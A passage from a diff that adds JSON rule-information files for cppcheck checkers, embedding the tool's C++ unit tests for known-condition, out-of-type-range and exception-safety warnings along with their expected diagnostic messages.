[invalidTestForOverflow]\\n\"\n\n check(\"int f(int x) { return x + 10 > x; }\");\n ASSERT_EQUALS(MSG(\"x+10>x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x+10>=x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x+10 x; }\");\n ASSERT_EQUALS(MSG(\"x-10>x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x-10>=x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x-10 x; }\");\n ASSERT_EQUALS(MSG(\"x+y>x\", \"y>0\"), errout_str());\n\n check(\"int f(int x, int y) { return x + y >= x; }\");\n ASSERT_EQUALS(MSG(\"x+y>=x\", \"y>=0\"), errout_str());\n\n // x - y < x\n check(\"int f(int x, int y) { return x - y < x; }\");\n ASSERT_EQUALS(MSG(\"x-y0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y <= x; }\");\n ASSERT_EQUALS(MSG(\"x-y<=x\", \"y>=0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y > x; }\");\n ASSERT_EQUALS(MSG(\"x-y>x\", \"y<0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y >= x; }\");\n ASSERT_EQUALS(MSG(\"x-y>=x\", \"y<=0\"), errout_str());\n }\n\n void checkConditionIsAlwaysTrueOrFalseInsideIfWhile() {\n check(\"void f() {\\n\"\n \" enum states {A,B,C};\\n\"\n \" const unsigned g_flags = B|C;\\n\"\n \" if(g_flags & A) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) Condition 'g_flags&A' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" if(a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { a--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (style) Condition 'a+1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueFalseInLogicalOperators() {\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = true; if(x||b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(true||b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = false; if(x&&b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(false&&b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9578\n check(\"bool f(const std::string &s) {\\n\"\n \" return s.size()>2U && s[0]=='4' && s[0]=='2';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:35] -> [test.cpp:2:48]: (style) Return value 's[0]=='2'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) { if (i == 1 || 2) {} }\\n\"); // #12487\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Condition 'i==1||2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"enum E { E1 = 1, E2 = 2 };\\n\"\n \"void f(int i) { if (i == E1 || E2) {} }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:29]: (style) Condition 'i==E1||E2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void pointerAdditionResultNotNull() {\n check(\"void f(char *ptr) {\\n\"\n \" if (ptr + 1 != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison is wrong. Result of 'ptr+1' can't be 0 unless there is pointer overflow, and pointer overflow is undefined behaviour. [pointerAdditionResultNotNull]\\n\", errout_str());\n }\n\n void duplicateConditionalAssign() {\n setMultiline();\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The statement 'if (x!=y) x=y' is logically equivalent to 'x=y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y'\\n\"\n \"[test.cpp:2:11]: note: Condition 'x!=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f(int& x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" x = y;\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" b = false;\\n\"\n \" else\\n\"\n \" g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" if (!i)\\n\"\n \" i = 1; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #9406\n \" S() : b(false) {}\\n\"\n \" void f() {\\n\"\n \" if (b) b = true;\\n\"\n \" if (b) b = false;\\n\"\n \" if (!b) b = true;\\n\"\n \" if (!b) b = false;\\n\"\n \" }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: style: The statement 'if (b) b=true' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:4:18]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:4:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:5:13]: style: The statement 'if (b) b=false' is logically equivalent to 'b=false'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:5:18]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:5:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:6:13]: style: The statement 'if (!b) b=true' is logically equivalent to 'b=true'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:6:19]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:6:13]: note: Condition '!b' is redundant\\n\"\n \"[test.cpp:7:13]: style: The statement 'if (!b) b=false' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:7:19]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:7:13]: note: Condition '!b' is redundant\\n\",\n errout_str());\n }\n\n void checkAssignmentInCondition() {\n check(\"void f(std::string s) {\\n\"\n \" if (s=\\\"123\\\"){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Suspicious assignment in condition. Condition 's=\\\"123\\\"' is always true. [assignmentInCondition]\\n\", errout_str());\n\n check(\"void f(std::string *p) {\\n\"\n \" if (p=foo()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(uint32_t u) {\\n\" // #2490\n \" if ((u = 0x00000000) || (u = 0xffffffff)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Condition 'u=0x00000000' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:32]: (style) Condition 'u=0xffffffff' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void compareOutOfTypeRange() {\n const Settings settingsUnix64 = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char* b, int i) {\\n\" // #6372\n \" if (b[i] == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 255) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b == true) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10372\n check(\"void f(signed char x) {\\n\"\n \" if (x == 0xff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(short x) {\\n\"\n \" if (x == 0xffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed short' against value 65535. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0xffffffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long x) {\\n\"\n \" if (x == ~0L) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long long x) {\\n\"\n \" if (x == ~0LL) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" const int i = 0xFFFFFFFF;\\n\"\n \" if (x == i) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c;\\n\"\n \" if ((c = foo()) != -1) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3000000000) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Comparing expression of type 'signed int' against value 3000000000. Condition is always true. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(const signed char i) {\\n\" // #8545\n \" if (i > -129) {}\\n\" // warn\n \" if (i >= -128) {}\\n\" // warn\n \" if (i >= -127) {}\\n\"\n \" if (i < +128) {}\\n\" // warn\n \" if (i <= +127) {}\\n\" // warn\n \" if (i <= +126) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'const signed char' against value -129. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:3:15]: (style) Comparing expression of type 'const signed char' against value -128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:5:15]: (style) Comparing expression of type 'const signed char' against value 128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:15]: (style) Comparing expression of type 'const signed char' against value 127. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n\n check(\"void f(const unsigned char u) {\\n\"\n \" if (u > 0) {}\\n\"\n \" if (u < 0) {}\\n\" // warn\n \" if (u >= 0) {}\\n\" // warn\n \" if (u <= 0) {}\\n\"\n \" if (u > 255) {}\\n\" // warn\n \" if (u < 255) {}\\n\"\n \" if (u >= 255) {}\\n\"\n \" if (u <= 255) {}\\n\" // warn\n \" if (0 < u) {}\\n\"\n \" if (0 > u) {}\\n\" // warn\n \" if (0 <= u) {}\\n\" // warn\n \" if (0 >= u) {}\\n\"\n \" if (255 < u) {}\\n\" // warn\n \" if (255 > u) {}\\n\"\n \" if (255 <= u) {}\\n\"\n \" if (255 >= u) {}\\n\" // warn\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:4:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:9:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:11:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:12:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:14:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:17:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n }\n\n void knownConditionCast() {\n check(\"void f(int i) {\\n\" // #9976\n \" if (i < 0 || (unsigned)i > 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B {\\n\" // #12941\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct One : public B {};\\n\"\n \"struct Two : public B {};\\n\"\n \"void g(const B& b) {\\n\"\n \" const Two* two = nullptr;\\n\"\n \" const One* one = dynamic_cast(&b);\\n\"\n \" if (one == nullptr)\\n\"\n \" two = dynamic_cast(&b);\\n\"\n \" if (two) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionIncrementLoop() { // #9808\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while (++a < 5) {}\\n\"\n \" if (a == 1) {}\\n\"\n \" std::cout << a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionAfterBailout() { // #12526\n check(\n \"#include \\n\"\n \"int func()\\n\"\n \"{\\n\"\n \" return VALUE_1;\"\n \"}\\n\"\n \"\\n\"\n \"struct S1 {\\n\"\n \" bool b{};\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct S {\\n\"\n \" void f(const std::list& l) const\\n\"\n \" {\\n\"\n \" if (mS.b)\\n\"\n \" return;\\n\"\n \" for (int i : l)\\n\"\n \" {\\n\"\n \" (void)i;\\n\"\n \" if (mS.b)\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" S1 mS;\\n\"\n \"};\"\n );\n ASSERT_EQUALS(\"[test.cpp:13:11] -> [test.cpp:18:13]: (style) Condition 'mS.b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void knownConditionIncDecOperator() {\n check(\n \"void f() {\\n\"\n \" unsigned int d = 0;\\n\"\n \" for (int i = 0; i < 4; ++i) {\\n\"\n \" if (i < 3)\\n\"\n \" ++d;\\n\"\n \" else if (--d == 0)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionFloating() {\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11201\n \" float f = 0x1.4p+3;\\n\" // hex fraction 1.4 (decimal 1.25) scaled by 2^3, that is 10.0\n \" if (f > 9.9) {}\\n\"\n \" if (f < 9.9) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:11]: (style) Condition 'f<9.9' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" double d = 1.0;\\n\"\n \" if (d < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'd<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" long double ld = 1.0;\\n\"\n \" if (ld < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'ld<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" float f = 1.0;\\n\"\n \" if (f < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0f;\\n\"\n \" if (f > 1.01f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01f' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0;\\n\"\n \" if (f > 1.01) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00f' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"// #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>+1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'pf>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'pf>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // / #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'nf>-1.0' is always false\\n\",\n \"\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestCondition)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/multiCondition.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/multiCondition.json new file mode 100644 index 0000000..8f24c0e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/multiCondition.json @@ -0,0 +1,13 @@ +{ + "name": "multiCondition", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 237, + "branches": 99, + "apis": 253, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/checkCatchExceptionByValue.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/checkCatchExceptionByValue.json new file mode 100644 index 0000000..88f3111 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/checkCatchExceptionByValue.json @@ -0,0 +1,22 @@ +{ + "name": "checkCatchExceptionByValue", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 15, + "branches": 4, + "apis": 16, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 272 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkexceptionsafety.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestExceptionSafety : public TestFixture {\npublic:\n TestExceptionSafety() : TestFixture(\"TestExceptionSafety\") {}\n\nprivate:\n /*const*/ Settings settings;\n\n void run() override {\n settings.severity.fill();\n\n mNewTemplate = true;\n TEST_CASE(destructors);\n TEST_CASE(deallocThrow1);\n TEST_CASE(deallocThrow2);\n TEST_CASE(deallocThrow3);\n TEST_CASE(rethrowCopy1);\n TEST_CASE(rethrowCopy2);\n TEST_CASE(rethrowCopy3);\n TEST_CASE(rethrowCopy4);\n TEST_CASE(rethrowCopy5);\n TEST_CASE(catchExceptionByValue);\n TEST_CASE(noexceptThrow);\n TEST_CASE(nothrowThrow);\n TEST_CASE(unhandledExceptionSpecification1); // #4800\n TEST_CASE(unhandledExceptionSpecification2);\n TEST_CASE(unhandledExceptionSpecification3);\n TEST_CASE(nothrowAttributeThrow);\n TEST_CASE(nothrowAttributeThrow2); // #5703\n TEST_CASE(nothrowDeclspecThrow);\n TEST_CASE(rethrowNoCurrentException1);\n TEST_CASE(rethrowNoCurrentException2);\n TEST_CASE(rethrowNoCurrentException3);\n TEST_CASE(noFunctionCall);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n const Settings *s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.s ? *options.s : settings).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check char variable usage..\n runChecks(tokenizer, this);\n }\n\n void destructors() {\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:3:9]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x();\\n\"\n \"};\\n\"\n \"x::~x() {\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:5:5]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #3858 - throwing exception in try block in destructor.\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" try {\\n\"\n \" throw e;\\n\"\n \" } catch (...) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" if(!std::uncaught_exception()) {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #11031 should not warn when noexcept false\n check(\"class A {\\n\"\n \"public:\\n\"\n \" 